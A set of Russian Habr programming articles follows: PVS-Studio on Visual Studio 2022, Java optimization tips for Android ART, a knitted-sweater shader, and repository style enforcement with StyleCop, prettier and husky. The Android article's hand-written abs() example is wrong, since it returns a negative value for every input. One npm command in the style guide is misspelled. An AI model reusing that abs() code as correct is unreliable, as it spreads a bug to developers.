#### Переход на .NET 6 и поддержка C# 10
Анализатор PVS-Studio для C# под Linux и macOS теперь работает под .NET 6. Кроме того, при обновлении Roslyn мы из коробки получили поддержку C# 10. Да, доработки диагностик, data-flow и т.п. придётся делать самим, но правильный разбор нового синтаксиса и понимание семантики – это тоже здорово. Обновление библиотек MSBuild даёт, соответственно, поддержку из коробки новых фич этой сборочной системы.
Так что, если вы вдруг пропустили это событие, теперь у вас есть возможность анализировать свои проекты под .NET 6. ;)
### Заключение
Ещё раз хочу подчеркнуть, что новая Visual Studio, как по мне, очень хороша. Microsoft явно постарались. Обновление самого плагина под неё прошло мягко, и это не может не радовать. Обновление toolset позволило заглянуть в те вещи, в которые судьба может и не занести.
По прошествии месяца можно сказать, что Visual Studio 2022 была успешно поддержана, обратную совместимость не сломали и получили положительные отзывы. Отдельно спасибо всем тем, кто интересовался плагином для этой IDE и успел протестировать бета-версию.
Так что, если вы хотели [попробовать](https://pvs-studio.com/pvs-studio/try-free/?utm_source=habr&utm_medium=articles&utm_content=vs_2022&utm_term=link_try_free) связку PVS-Studio и Visual Studio 2022, но как-то не доходили руки – сейчас самое время.
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikolay Mironov. [Visual Studio 2022 — stylish and fresh. How PVS-Studio supported VS2022](https://habr.com/en/company/pvs-studio/blog/651709/). | https://habr.com/ru/post/651713/ | null | ru | null |
# Пять способов оптимизации кода для Android 5.0 Lollipop
Как сделать программы быстрее? Один из эффективных способов – оптимизация кода. Зная особенности платформы, для которой создаётся приложение, можно найти эффективные способы его ускорения.
[](http://habrahabr.ru/company/intel/blog/263873/)
Предварительные сведения
------------------------
**ART** (Android RunTime) – это новая среда исполнения Android-приложений. В Android 5.0 Lollipop ART впервые используется по умолчанию. Она включает в себя множество усовершенствований, направленных на улучшение производительности. В этом материале мы расскажем о некоторых новых возможностях ART, сравним её с ранее используемой средой исполнения Android Dalvik и поделимся пятью советами, которые позволят сделать ваши приложения быстрее.
Что нового в ART?
-----------------
В ходе профилирования множества Android-приложений, которые исполнялись в среде Dalvik, были обнаружены две ключевые особенности, на которые пользователи обращают особое внимание. Первая особенность – время, необходимое для запуска приложения. Вторая – количество разного рода «замедлений» (jank). В худших проявлениях это – запинающийся звук, дёрганая анимация, а то и вовсе – неожиданная остановка приложения. Обычно случается это из-за того, что приложению требуется слишком много времени для подготовки следующего кадра. Как результат, оно просто не успевает за частотой обновления экрана устройства. Скорость формирования кадров может стать проблемой в том случае, если следующий кадр формируется гораздо быстрее или медленнее, чем предыдущий. Если происходит что-то подобное, пользователь видит рывки в работе элементов интерфейса. Это делает взаимодействие с программой гораздо менее удобным, чем хотелось бы и пользователям, и разработчикам. В ART есть несколько новых возможностей, предназначенных для решения вышеописанных проблем.
* **Компиляция перед исполнением.** ART компилирует приложения во время установки, используя средство dex2oat, установленное на устройстве. В результате получается скомпилированный под целевую архитектуру исполняемый файл. Для сравнения, Dalvik использует интерпретатор и компилирует приложения «на лету». Во время установки Dalvik конвертирует APK-файлы в оптимизированный DEX-код, а уже во время запуска приложения компилирует его в машинные инструкции. В результате в ART-среде приложения запускаются быстрее, хотя время, которое нужно на установку, увеличивается. Кроме того, при таком подходе приложения используют больше флэш-памяти устройства, так как для хранения скомпилированного во время установки кода требуется дополнительное место.
* **Улучшенные механизмы выделения памяти.** Приложения, которые интенсивно используют память, могут испытывать трудности с производительностью при использовании Dalvik. Смягчить эту проблему помогает отдельное пространство для хранения данных больших объектов и улучшенный механизм выделения памяти в ART.
* **Улучшенная сборка мусора**. ART оснащён более быстрым сборщиком мусора, который поддерживает параллельную обработку данных, что приводит к меньшей фрагментации памяти и к более эффективному её использованию.
* **Улучшенная производительность JNI.** Оптимизация вызова JNI-кода и возврата из него, благодаря которой уменьшается количество инструкций, необходимых для выполнения JNI-вызовов.
* **Поддержка 64-битных архитектур.** ART прекрасно чувствует себя на 64-битных архитектурах. Это улучшает производительность многих приложений при запуске их на соответствующем аппаратном обеспечении.
Совместный эффект от этих усовершенствований улучшает восприятие пользователями как приложений, которые написаны только с использованием Android SDK, так и программ, которые интенсивно используют JNI-вызовы. К дополнительным преимуществам, с точки зрения пользователей, можно отнести большее время работы устройства от одной зарядки. Дело здесь в том, что приложения компилируются лишь один раз, они быстрее запускаются, как результат – потребляют меньше энергии батареи при повседневном использовании.
Сравнение производительности ART и Dalvik
-----------------------------------------
Когда ART только выпустили, в виде предварительной версии на Android KitKat 4.4, появились критические замечания о его производительности в сравнении с Dalvik. Надо сказать, что такое сравнение нельзя назвать честным. Ведь сравнивали раннюю предварительную версию ART со зрелым продуктом, подвергнутым за годы работы над ним множеству улучшений. В результате этих ранних тестов некоторые приложения работали в ART-среде медленнее, чем в Dalvik.
Сейчас у нас появилась возможность сравнить повзрослевшую среду ART, которая используется в массово производимых устройствах, с Dalvik. Так как в Android 5.0 используется только ART, прямое сравнение ART и Dalvik возможно лишь в том случае, если сначала выполнить тесты на некоем устройстве с установленным Android KitKat 4.4, получив данные для Dalvik-среды, затем – обновить его до Android Lollipop 5.0 и провести ту же серию тестов для ART-окружения.
При подготовке этого материала мы проделали подобные тесты с планшетом SurfTab xintron i7.0, который построен на базе процессора Intel Atom. Сначала на нём была установлена Android 4.4.4, и, соответственно, при испытаниях использовался Dalvik, потом устройство обновили до Android 5.0. и протестировали быстродействие ART.
Так как тесты проходили на разных версиях Android, существует возможность того, что некоторые из обнаруженных улучшений исходят не от ART, а от других усовершенствований Android. Однако, основываясь на проведенном нами внутреннем анализе производительности, мы можем говорить о том, что именно использование ART является основной причиной роста производительности системы.
Мы использовали тесты производительности, в которых Dalvik, за счёт агрессивной оптимизации кода, который исполняется по многу раз, способен получить преимущество. Кроме того, мы тестировали системы с использованием симулятора игровых приложений, который разработан Intel.
Исходя из полученных данных, можно сделать вывод о том, что ART превосходит Dalvik во всех из проведенных нами тестов. В некоторых случаях это превосходство весьма значительно.
*Относительные показатели тестирования ART (Android Lollipop) и Dalvik (Android KitKat)*
Подробности о тестовых приложениях, которыми мы пользовались, вы можете найти, пройдя по следующим ссылкам:
* [Quadrant 2.1.1](https://play.google.com/store/apps/details?id=com.aurorasoftworks.quadrant.ui.standard&hl=en)
* [CaffeineMark 3.0](https://play.google.com/store/apps/details?id=com.android.cm3&hl=en)
* [Smartbench 2012 productivity](https://play.google.com/store/apps/details?id=com.smartbench.twelve&hl=en)
* [Antutu 4.4 Overall](https://play.google.com/store/apps/details?id=com.antutu.ABenchMark&hl=en) (версия, используемая при тестировании, больше недоступна для загрузки)
* [CF-Bench 1.3 Overall](https://play.google.com/store/apps/details?id=eu.chainfire.cfbench&hl=en)
IcyRocks версии 1.0 – это приложение для тестирования производительности устройств, созданное Intel. Оно имитирует реальные компьютерные игры. Для большинства расчётов в нём используется библиотека с открытым исходным кодом Cocos2D и библиотека JBox2D (физический движок, Java Physics Engine). Приложение измеряет среднее количество кадров, которое ему удаётся вывести в секунду (FPS, Frame Per Second) при различных уровнях нагрузки. Затем вычисляет итоговый показатель, беря среднее геометрическое показателей FPS, полученных в различных режимах работы. Кроме того, программа вычисляет уровень «неправильных» кадров в секунду (jank per second), как среднее между такими кадрами на различных уровнях нагрузки. IcyRocks показывает превосходство ART над Dalvik.
*Относительные показатели количества кадров в секунду при тестировании производительности в средах ART и Dalvik*
В результате тестирования удалось выяснить, что в ART характеристики кадров более постоянны, чем в Dalvik, с меньшим количеством «неправильных» кадров. Как результат, в ART интерфейс приложений работает более гладко.
*Относительные показатели «неправильных» кадров в секунду при тестировании в средах ART и Dalvik*
Полученные результаты позволяют с уверенностью говорить о том, что сегодня ART позволяет добиться лучшего восприятия приложений пользователями и большей производительности, чем Dalvik.
Перенос программного кода с Dalvik на ART
-----------------------------------------
Переход от Dalvik к ART прозрачен, большинство приложений, которые работают в среде Dalvik, будут работать и в среде ART без необходимости модификации их кода. В результате, когда пользователи обновляют систему, приложения начинают работать быстрее без каких-либо дополнительных усилий. Однако, особенно если ваши приложения используют Java Native Interface, их не помешает протестировать в среде ART. Дело в том, что в ART используется более строгий механизм обработки JNI-ошибок, чем в Dalvik. [Здесь](https://developer.android.com/guide/practices/verifying-apps-art.html) можно узнать подробности об этом.
Пять советов по оптимизации кода
--------------------------------
Производительность большинства приложений, которые будут запускаться в среде ART, увеличится только из-за тех улучшений платформы, о которых мы говорили выше. Однако, существует набор рекомендаций, следуя которым можно оптимизировать приложения для достижения еще большей производительности. Каждый из описанных ниже приёмов оптимизации кода снабжён простым примером кода, иллюстрирующим особенности его работы.
Невозможно заранее предсказать, на какой именно прирост производительности можно рассчитывать, используя тот или иной подход к оптимизации. Дело здесь в том, что все приложения разные, их итоговое быстродействие очень сильно зависит от остального кода и от особенностей их использования. Однако мы объясним, почему предлагаемые методы оптимизации способны улучшить скорость работы приложений. Для того чтобы оценить их воздействие на ваше приложение, испытывайте их, применяя к своему коду.
Рекомендации, которые мы предлагаем, применимы довольно широко, но мы ориентируемся на то, что при работе с ART улучшения будут восприняты компилятором dex2oat, который генерирует двоичный исполняемый код из dex-файлов и оптимизирует его.
Совет №1. Всегда, когда возможно, используйте локальные переменные вместо общедоступных полей класса
----------------------------------------------------------------------------------------------------
Ограничивая область видимости переменных, вы не только улучшите читаемость кода и уменьшите число потенциальных ошибок, но и сделаете его лучше подходящим для оптимизации.
В блоке неоптимизированного кода, который показан ниже, значение переменной *v* вычисляется во время исполнения приложения. Это происходит из-за того, что данная переменная доступна за пределами метода *m()* и может быть изменена в любом участке кода. Поэтому значение переменной неизвестно на этапе компиляции. Компилятор не знает, изменит ли вызов метода *some\_global\_call()* значение этой переменной, или нет, так как переменную *v*, повторимся, может изменить любой код за пределами метода.
В оптимизированном варианте этого примера *v* – это локальная переменная. А значит, её значение может быть вычислено на этапе компиляции. Как результат – компилятор может поместить значение переменной в код, который он генерирует, что поможет избежать вычисления значения переменной во время выполнения.
| | |
| --- | --- |
| **Неоптимизированный код** | **Оптимизированный код** |
|
```
class A {
public int v = 0;
public int m(){
v = 42;
some_global_call();
return v*3;
}
}
```
|
```
class A {
public int m(){
int v = 42;
some_global_call();
return v*3;
}
}
```
|
Совет №2. Используйте ключевое слово final для того, чтобы подсказать компилятору то, что значение поля – константа
-------------------------------------------------------------------------------------------------------------------
Ключевое слово *final* можно использовать для того, чтобы защитить код от случайного изменения переменных, которые должны быть константами. Однако оно позволяет улучшить производительность, так как подсказывает компилятору, что перед ним именно константа.
Во фрагменте неоптимизированного кода значение *v\*v\*v* должно вычисляться во время выполнения программы, так как значение *v* может измениться. В оптимизированном варианте использование ключевого слова *final* при объявлении переменной и присвоении ей значения, говорит компилятору о том, что значение переменной меняться не будет. Таким образом, вычисление значения можно произвести на этапе компиляции и в выходной код будет добавлено значение, а не команды для его вычисления во время выполнения программы.
| | |
| --- | --- |
| **Неоптимизированный код** | **Оптимизированный код** |
|
```
class A {
int v = 42;
public int m(){
return v*v*v;
}
}
```
|
```
class A {
final int v = 42;
public int m(){
return v*v*v;
}
}
```
|
Совет №3. Используйте ключевое слово final при объявлении классов и методов
---------------------------------------------------------------------------
Так как любой метод в Java может оказаться полиморфными, объявление метода или класса с ключевым словом *final* указывает компилятору на то, что метод не переопределён ни в одном из подклассов.
В неоптимизированном варианте кода перед вызовом функции *m()* нужно произвести её разрешение.
В оптимизированном коде, из-за использования при объявлении метода *m()* ключевого слова *final*, компилятор знает, какая именно версия метода будет вызвана. Поэтому он может избежать поиска метода и заменить вызов метода *m()* его содержимым, встроив его в необходимое место программы. В результате получаем увеличение производительности.
| | |
| --- | --- |
| **Неоптимизированный код** | **Оптимизированный код** |
|
```
class A {
public int m(){
return 42;
}
public int f(){
int sum = 0;
for (int i = 0; i < 1000; i++)
sum += m(); // m необходимо разрешить перед вызовом
return sum;
}
}
```
|
```
class A {
public final int m(){
return 42;
}
public int f(){
int sum = 0;
for (int i = 0; i < 1000; i++)
sum += m();
return sum;
}
}
```
|
Совет №4. Избегайте вызывать маленькие методы через JNI
-------------------------------------------------------
Существуют веские причины использования JNI-вызовов. Например, если у вас есть код или библиотеки на C/C++, которые вы хотите повторно использовать в Java-приложениях. Возможно, вы создаёте кросс-платформенное приложение, или ваша цель – увеличение производительности за счет использования низкоуровневых механизмов. Однако, важно свести количество JNI-вызовов к минимуму, так как каждый из них создаёт значительную нагрузку на систему. Когда JNI используют для оптимизации производительности, эта дополнительная нагрузка может свести на нет ожидаемую выгоду. В частности, частые вызовы коротких, не производящих значительной вычислительной работы JNI-методов, способны производительность ухудшить. А если такие вызовы поместить в цикл, то ненужная нагрузка на систему лишь увеличится.
**Пример кода**
```
class A {
public final int factorial(int x){
int f = 1;
for (int i =2; i <= x; i++)
f *= i;
return f;
}
public int compute (){
int sum = 0;
for (int i = 0; i < 1000; i++)
sum += factorial(i % 5);
//если мы воспользуемся здесь JNI-вариантом функции factorial(),
// приложение будет работать заметно медленнее,
// так как вызов происходил бы в цикле
// а это лишь усиливает нагрузку на систему в ходе JNI-вызовов
return sum;
}
}
```
Совет №5. Используйте стандартные библиотеки вместо реализации той же функциональности в собственном коде
---------------------------------------------------------------------------------------------------------
Стандартные библиотеки Java серьёзно оптимизированы. Если использовать везде, где это возможно, внутренние механизмы Java, это позволит достичь наилучшей производительности. Стандартные решения могут работать значительно быстрее, чем «самописные» реализации. Попытка избежать дополнительной нагрузки на систему за счёт отказа от вызова стандартной библиотечной функции может, на самом деле, ухудшить производительность.
В неоптимизированном варианте кода показана попытка избежать вызова стандартной функции *Math.abs()* за счёт собственной реализации алгоритма получения абсолютного значения числа. Однако, код, в котором вызывается библиотечная функция, работает быстрее за счёт того, что вызов заменяется оптимизированной внутренней реализацией в ART во время компиляции.
| | |
| --- | --- |
| **Неоптимизированный код** | **Оптимизированный код** |
|
```
class A {
public static final int abs(int a){
int b;
if (a < 0)
b = a;
else
b = -a;
return b;
}
}
```
|
```
class A {
public static final int abs (int a){
return Math.abs(a);
}
}
```
|
Тестирование техник оптимизации
-------------------------------
Выясним, какова разница в производительности оптимизированного и неоптимизированного кода из совета №2 при запуске его в среде ART. Для эксперимента будем использовать планшет Asus Fonepad 8, построенный на базе CPU Intel Atom Z3530. Устройство обновлено до Android 5.0.
Вот код, который мы подвергаем испытаниям:
```
public final class Ops {
int v = 42;
final int w = 42;
public int testUnoptimized(){
return v*v*v;
}
public int testOptimized(){
return w*w*w;
}
}
```
Разница методов *testUnoptimized* и *testOptimized* заключается лишь в том, что второй оптимизирован, переменная *w*, которая в нём используется, объявлена с ключевым словом *final*.
В ходе тестов каждый из методов будет вызван заданное количество раз. Циклы, в которых производятся эти вызовы, выполняются в фоновом потоке. После завершения тестов результаты выводятся в пользовательском интерфейсе приложения.
*Интерфейс приложения для тестирования результатов оптимизации*
В таблице показаны результаты десяти последовательных запусков теста в release-версии приложения. Каждый из отдельных показателей получен в результате выполнения циклического вызова соответствующего метода 10 миллионов раз.
**Сравнение скорости выполнения оптимизированного и неоптимизированного кода**
| | | |
| --- | --- | --- |
| № | Оптимизировано, мс. | Не оптимизировано, мс. |
| 1 | 25 | 193 |
| 2 | 21 | 203 |
| 3 | 30 | 220 |
| 4 | 25 | 175 |
| 5 | 23 | 184 |
| 6 | 28 | 177 |
| 7 | 30 | 186 |
| 8 | 27 | 191 |
| 9 | 34 | 212 |
| 10 | 27 | 174 |
| Среднее | 27 | 191.5 |
В результате оказалось, что оптимизированный метод выполняется, в среднем, в 7 раз быстрее неоптимизированного.
Исходный код проекта, подходящий для импорта в Android Studio, можно найти [здесь](http://rghost.ru/7bLtkxPKS).
Оптимизации Intel в ART
-----------------------
Intel работала с OEM-производителями устройств, предоставляя им оптимизированную, в расчёте на процессоры Intel, версию Dalvik. То же самое происходит и в случае с ART, в результате производительность новой среды исполнения, со временем, будет увеличиваться. Оптимизированные версии кода можно будет получить либо в Android Open Source Project (AOSP), либо – напрямую у производителей устройств. Как и прежде, оптимизации прозрачны и для пользователей и для разработчиков, то есть, для того, чтобы воспользоваться их преимуществами, ни тем ни другим не придётся прилагать дополнительных усилий.
Для того чтобы узнать подробности об оптимизации Android-приложений для устройств, построенных на базе процессоров Intel, ознакомиться с компиляторами, посетите [Intel Developer Zone](https://software.intel.com/ru-ru/).
Итоги
-----
В этом материале мы рассмотрели основные особенности новой среды исполнения Android-приложений ART. Она, при прочих равных условиях, позволяет достичь лучших показателей производительности, чем Dalvik. Но быстродействие каждого конкретного приложения очень сильно зависит не только от среды исполнения, но и от разработчика. Надеемся, наши советы по оптимизации кода помогут вам в написании быстрых и удобных приложений. | https://habr.com/ru/post/263873/ | null | ru | null |
# Эффект кофты на шейдерах для мобильных устройств
Пролог
------
Доброго времени суток! После опубликовании статьи о [визуализации квадратичного дерева(Quad-tree)](https://habrahabr.ru/post/280674/), меня попросили написать статью, показывающую работу шейдера, переводящего изображение в «кофту».
Так что, давай рассмотрим данную методику.
Реализация
----------
Для реализации алгоритма потребуется текстура со стежками кофты. Она выглядит следующим образом.
Текстура состоит из 30 стежков одинаковой ширины в 30 пикселей. В итоге, мы должны выводить эту текстуру на экран, меня цвет стежка под нужный цвет на экране, и перемешивать сами стежки на экране, чтобы изображение не казалось искусственным.
Изначально нужно подготовить параметры для шейдера, языком описанным в статье будет C# и GLSL соответсвенно.
```
override public void OnScaleUpdated(float scale) {
Vector2 screenSize = ScreenTool.GetViewportSize ();
Texture2D stitchTexture = textureLoader.texture;
float resolutionH = Mathf.Clamp((Mathf.RoundToInt(screenSize.x/(float)itemWidth * scale) * 2), 1, 2048);
float resolutionV = Mathf.Clamp((Mathf.RoundToInt(screenSize.y/(float)stitchTexture.height * scale) * 2), 1, 2048);
resolution = new Vector4 (resolutionH, resolutionV, 0f, 0f);
float amountH = (float)(resolutionH * itemWidth) / (2.0f * (float)stitchTexture.width);
float amountV = (float)resolutionV / 2.0f;
Vector4 amount = new Vector4 (amountH, amountV, 0f, 0f);
material.SetTexture ("_ItemTex", stitchTexture);
material.SetVector ("_Resolution", resolution);
material.SetVector ("_ItemsAmount", amount);
}
```
Функция вызывается при обновлении коэффициента скалирования, в ней рассчитывается количество текстур со стежками.
* **Amount** — это количество текстур, которое влезет на экран;
* **itemWidth** — ширина одного стяжка;
В переменной amountH происходит деление на 2, это сделано для того, чтобы разделить один стежок по полам и менять цвет половинки стежка.
Перейдём к реализации шейдера.
На шейдер будет передаваться уменьшенное изображение с камеры, для того чтобы разбить изображение на блоки, которые в следующем будут преобразованы в стежки.
Первоначально нужно определить в каком блоке мы сейчас находимся. Блоки образованы тем, что наше уменьшенное изображение потом оказывается растянутым до полного размера, и каждый пиксель образовывает блок пикселей одного цвета.
```
float2 colorBlock = floor(input.tex * _Resolution);
```
Следующий этап для меня оказался самым сложным, необходимо на определённый блок, выбрать относительно случайный стежок из текстуры.
```
float2 stichUV = float2(frac(_ItemsAmount.x * (input.tex.x + pow(colorBlock.y, 2.0) / _Resolution.x*2)), frac(_ItemsAmount.y * input.tex.y));
```
Далее берём цвет блока, цвет стежка и цвет предыдущего блока. Цвет предыдущего блока необходимо брать, так как стежки выходят за пределы своих блоков.
```
fixed4 color = tex2D(_MainTex, input.tex);
fixed4 newColor = tex2D(_ItemTex, stichUV);
fixed4 prevColor = tex2D(_MainTex, float2(input.tex.x, input.tex.y + 1.0/_Resolution.y));
```
На изображении красным указан текущий блок, а зелёный следующий, но часть стежка окрашенная в зелёный цвет должна иметь красную окраску, для этого и используется поиск цвета предыдущего блока.
```
if (stichUV.y > 0.5)
{
newColor *= color;
float2 topStichUV = frac(float2(_ItemsAmount.x * (input.tex.x + pow(colorBlock.y + 1, 2) / _Resolution.x*2), _ItemsAmount.y*input.tex.y - 0.5));
fixed4 otherStich = tex2D(_ItemTex, topStichUV) * prevColor;
if (otherStich.a > 0.05)
{
newColor = lerp(newColor, otherStich, 1 - newColor.a);
}
}
```
Изначально смешиваем цвет стежка с цветом блока, после чего находим стежок, который должен отрисовываться над красной частью и потом смешиваем две части стежка.
Нижняя часть отрисовывает аналогично (зелёная):
```
else
{
stichUV = float2(frac(_ItemsAmount.x * (input.tex.x + pow(colorBlock.y + 1, 2) / _Resolution.x*2)), frac(_ItemsAmount.y*input.tex.y));
newColor = tex2D(_ItemTex, stichUV);
newColor *= prevColor;
float2 bottomStichUV = float2(frac(_ItemsAmount.x * (input.tex.x + pow(colorBlock.y, 2) / _Resolution.x*2)), frac(_ItemsAmount.y*input.tex.y + 0.5));
fixed4 otherStich = tex2D(_ItemTex, bottomStichUV) * color;
if (otherStich.a > 0.7)
{
newColor = lerp(otherStich, newColor, 1 - prevColor.a);
}
}
```
Эпилог
------
В результате получаем довольно шустрый шейдер, который при желании можно заставить хорошо работать на старых Android (на iOS он уже будет работать нормально). При этом можно использовать различные текстуры для изменения эффекта, допустим вышивка крестиком.
Спасибо за внимание! | https://habr.com/ru/post/280804/ | null | ru | null |
# Как не пропустить невалидный код в репозиторий
Зачем это необходимо
====================
Когда в твоей команде работают больше одного человека, так или иначе все сталкиваются с проблемой разных стилей кодирования каждого члена команды. Кто-то пишет скобки для блоков `if...else`, кто-то нет. Когда проект становится больше, то такой код труднее читать и еще сложнее проводить код-ревью.
Чтобы код-ревью и прочие командные митинги не превратились в обсуждение *tab vs spaces* на повышенных тонах, лучше настроить репозиторий таким образом, чтобы сам проект не допускал написание невалидного и нестандартного для команды кода.
С одной стороны, использование разных стилей кодирования может показаться вкусовщиной, недостойной внимания. Ну не оборачивает джун единственную строку кода после условия `if`, а кто-то пишет, что с того? Если оставить код из под пера джуна "как есть", то это может стать "бомбой замедленного действия": ту строку кода после `if` могут удалить, и тогда под условие попадет следующая строка. Конечно, эта ситуация обычно отлавливается на код-ревью, однако бывает так, что этот потенциальный баг проходит проверку, и вот две основных причины:
1. Мы все люди, а люди ошибаются.
2. Люди социальны, а значит вступать "в очередной раз" в конфликт, связанный со стилями, не захочется. И тут возможны два варианта:
* "Лучше поправлю сам", думает проверяющий, и правит код.
* Проверяющий срывается на джуна и высказывает свои сомнения в его адекватности и необходимости существования.
Как можно добиться того, чтобы каждый писал в соответствии с командным стилем? Бить по рукам на код-ревью каждый раз демотивирует и автора кода, и самого проверяющего. К счастью, эта проблема будоражит умы не одного программиста не первый год, и в нашем распоряжении сейчас есть множество инструментов.
Цель этой статьи — рассказать другим и себе будущему, как я настраиваю репозиторий проекта таким образом, чтобы он сам обезопасил себя от невалидного кода с точки зрения стандартов команды.
Что мы имеем
============
В качестве примера возьмем демонстрационный проект, код которого будет выложен на GitHub. Так как я занимаюсь разработкой на .NET Core, то и проект будет написан на нем. Что я буду использовать:
* .NET Core 3.1
* Angular 8+
* Github аккаунт
* Travis CI
Я уже создал демонстрационный [репозиторий проекта](https://github.com/gm-soft/RejectItDemo) и настроил в нем Travis-CI. Далее в статье разберем, что необходимо было сделать для этого и почему.
Пайплайн репозитория
====================
Пайплайн репозитория — механизм, предотвращающий попадаение невалидного кода с второстепенных веток в основную `master branch`.
"Из коробки" пайплайны доступны в [Gitlab](https://gitlab.com) и [Azure DevOps](https://dev.azure.com), а в Github — через [Travis CI](https://travis-ci.org/).
Настраиваем репозиторий
-----------------------
Мне нравится подход к разработке софта [Егора Бугаенко](https://yegor256.com). Я законспектировал [несколько его докладов](https://maximgorbatyuk.github.io/menu/tags.html#yegor256) в своем блоге. Если кратко, то вот основные принципы, которым я следую при настройке репозитория:
* **Ограничение прав на пуш**. Я ограничиваю права на пуш в develop и master всем, кроме мейнтейнеров (maintainer).
* **Пайплайн сборки**. Я прописываю пайплайн для сборки проекта в CICD и прогона юниттестов как для бэкенда, так и фронта.
* **Repository is a king**. В репозитории я прописываю правила работы с кодом и gitflow, а также другие связанные с подходами в разработке документы.
* **Fail fast**. Если код написан невалидно с точки зрения стандартного стиля, то разработчик получит ошибку компиляции.
* **Git pre-commits hoocks**. Чтобы не занимать агенты CI гитлаба лишком часто, я добавляю прогон тестов и иные полезные операции на пре-коммит хуки гита.
Что мы получаем в итоге? Во-первых, в master и develop смогут залить код только мейнтейнеры проекта. В идеале, конечно, и им нужно ограничить доступ, чтобы только "автомат" мог сливать ветки. Я оставил реализацию этого принципа "на потом". Ограничение прав настраивается через интерфейс гитлаба, поэтому я не буду описывать этот этап здесь.
Валидация бэкенда
-----------------
Я настраиваю solution-файл (\*.sln) проекта так, чтобы он выдавал несоответствия написанного кода стандартам стайл-гайда .NET как ошибки компиляции. Чтобы сделать это, мне понадобится файл с перечислением кодов ошибок, пара nuget-пакетов и немного терпения.
Я использую stylecop в проектах для .NET Core. Чтобы его верно настроить, прежде всего мы создаем несколько файлов в корне проекта рядом с solution-файлом (ссылки ведут на gist.github.com):
1. `Directory.build.props` — [ссылка](https://gist.github.com/maximgorbatyuk/11f583e46abaf42615b88c07acab5adc#file-directory-build-props) на файл.
2. `standard.ruleset` — [ссылка](https://gist.github.com/maximgorbatyuk/11f583e46abaf42615b88c07acab5adc#file-standard-ruleset) на файл.
3. `stylecop.json` — [ссылка](https://gist.github.com/maximgorbatyuk/11f583e46abaf42615b88c07acab5adc#file-stylecop-json) на файл.
После этих действий наш проект не будет собираться, пока в нем будут ошибки стиля кодирования.
Валидация фронтенда
-------------------
Фронтенд-приложение тоже необходимо валидировать. Здесь настройки пайплайна менее критичны к нарушениям стиля кода: если мы пропустим где-то точку с запятой, то проект все равно будет работать. На страже репозитория здесь будет стоять агент пайплайна. Я автоматизирую следующие команды:
```
# Проверка линта
ng lint
# Сборка в режиме продакшна, чтобы провалидировать и html-файлы
ng build --prod
# Прогон тестов
ng test
```
Есть небольшой нюанс работы агентов репозитория с тестами. Дело в том, что для прогона тестов необходим движок Хрома (Chrome / Chromium), а он чаще всего отсутствует в контейнерах CI-систем. Чтобы агент мог запускать тесты фронта, я добавляю npm-пакет `puppeteer` в проект, который подтянет с собой и хромиум.
Таким образом, чтобы и корректность фронтенда валидировалась пайплайном, нам необходимо проделать следующие шаги:
1. Добавить новую команду `"test-headless-ci-only": "ng test --browsers ChromiumNoSandbox"` в блок `scripts` файла `packages.json`:
```
"scripts": {
"ng": "ng",
"start": "ng serve -o",
"build": "ng build",
"build-stage": "ng build --configuration=staging",
"build-prod": "ng build --prod",
"test": "ng test",
"test-headless-ci-only": "ng test --browsers ChromiumNoSandbox",
"lint": "ng lint",
"e2e": "ng e2e"
},
```
1. Установить пакет `npm install puppeteer` и прописать его в файле `karma.conf.js` в самое начало файла:
```
const process = require("process");
process.env.CHROME_BIN = require("puppeteer").executablePath();
module.exports = function(config) {
...
};
```
1. Добавить кастомный лаунчер тестов в файле `karma.conf.js` в секцию `customLaunchers`:
```
config.set({
....,
customLaunchers: {
ChromiumNoSandbox: {
base: "ChromeHeadless",
flags: [
"--no-sandbox",
"--headless",
"--disable-gpu",
"--disable-translate",
"--disable-extensions"
]
}
},
singleRun: true
});
```
Теперь в скриптах пайплайна можно запускать тесты командой `npm run est-headless-ci-only`.
Стандартизируем код фронтенда
-----------------------------
Чтобы код-ревью тикетов для фронтенда не превратились в обсуждение предпочтений форматирования, лучше всего стандартизировать его. Я пользуюсь инструментом [prettierrc](https://prettier.io/docs/en/configuration.html), потому что репозиторий проекта имеет много звезд и документация написана подробно. Эта библиотека помогает подкорректировать форматирование автоматически. Чтобы добавить prettierrc в проект, необходимо:
1. Установить пакеты prettier и pretty-quick глобально:
```
npm install -g prettier
npm install -g pretty-quick
```
1. Добавить файл конфигурации с именем `.prettierrc` в корень фронтенд-приложения:
```
{
"useTabs": false,
"printWidth": 120,
"tabWidth": 2,
"singleQuote": true,
"trailingComma": "none",
"semi": true
}
```
1. Добавить список файлов для игнорирования prettier-ом в файл с именем `.prettierignore` в корень фронтенд-приложения:
```
package.json
package-lock.json
tslint.json
tsconfig.json
browserslist
.gitkeep
favicon.ico
tsconfig.lib.json
tsconfig.app.json
tsconfig.spec.json
karma.conf.js
protractor.conf.js
ng-package.json
*.html
```
Теперь можно "привести в порядок" код фронтенда командой `pretty-quick --staged`.
Использование прекоммит-хуков
-----------------------------
Запуск агента пайплайна в CI/CD системах — это потребление ресурсов, и зачастую небесплатных. Можно и нужно запускать валидацию проекта локально, но делать это на каждый коммит надоедает. В итоге люди перестают запускать скрипты так часто. Чтобы автоматизировать этот процесс, я пользуюсь прекоммит-хуками, которые позволяют запускать полезные скрипты при коммитах и пушах.
Для фронтенда лучше всего подойдет библиотека [husky](https://github.com/typicode/husky). Чтобы настроить хук, необходимо:
1. Установить библиотеку husky
```
npm install -g husky
```
1. Добавить хук husk в файл `package.json` в конец:
```
"devDependencies": {
...
},
"husky": {
"hooks": {
"pre-commit": "pretty-quick --staged",
"pre-push": "ng lint && ng test --browsers ChromiumNoSandbox"
}
}
```
Здесь я разделил команды: нет необходимости проверять тесты фронтенда на каждый коммит, но мы не дадим залить изменения в удаленный репозиторий, пока тесты не будут "зелеными".
Итог
====
После того, как сделаны описанные в статье шаги, я получаю проект, который "защищает сам себя" от невалидного кода. Понятное дело, что одной проверкой синтаксиса и стайл-гайда не уберечь продукт от багов, однако даже эти незначительные вещи помогают в достижении большего качества кода и позволяют обсуждать архитектурные решения на код-ревью, а не вопросы форматирования. | https://habr.com/ru/post/488626/ | null | ru | null |
# Идеальный корпоративный почтовый клиент
Когда возникает необходимость настроить почтовую систему для компании в первую очередь на ум приходит использовать решения от Microsoft — Exchange и Outlook. К сожалению, эти решения не обеспечивают достаточной гибкости и многим не подходят по разным параметрам.
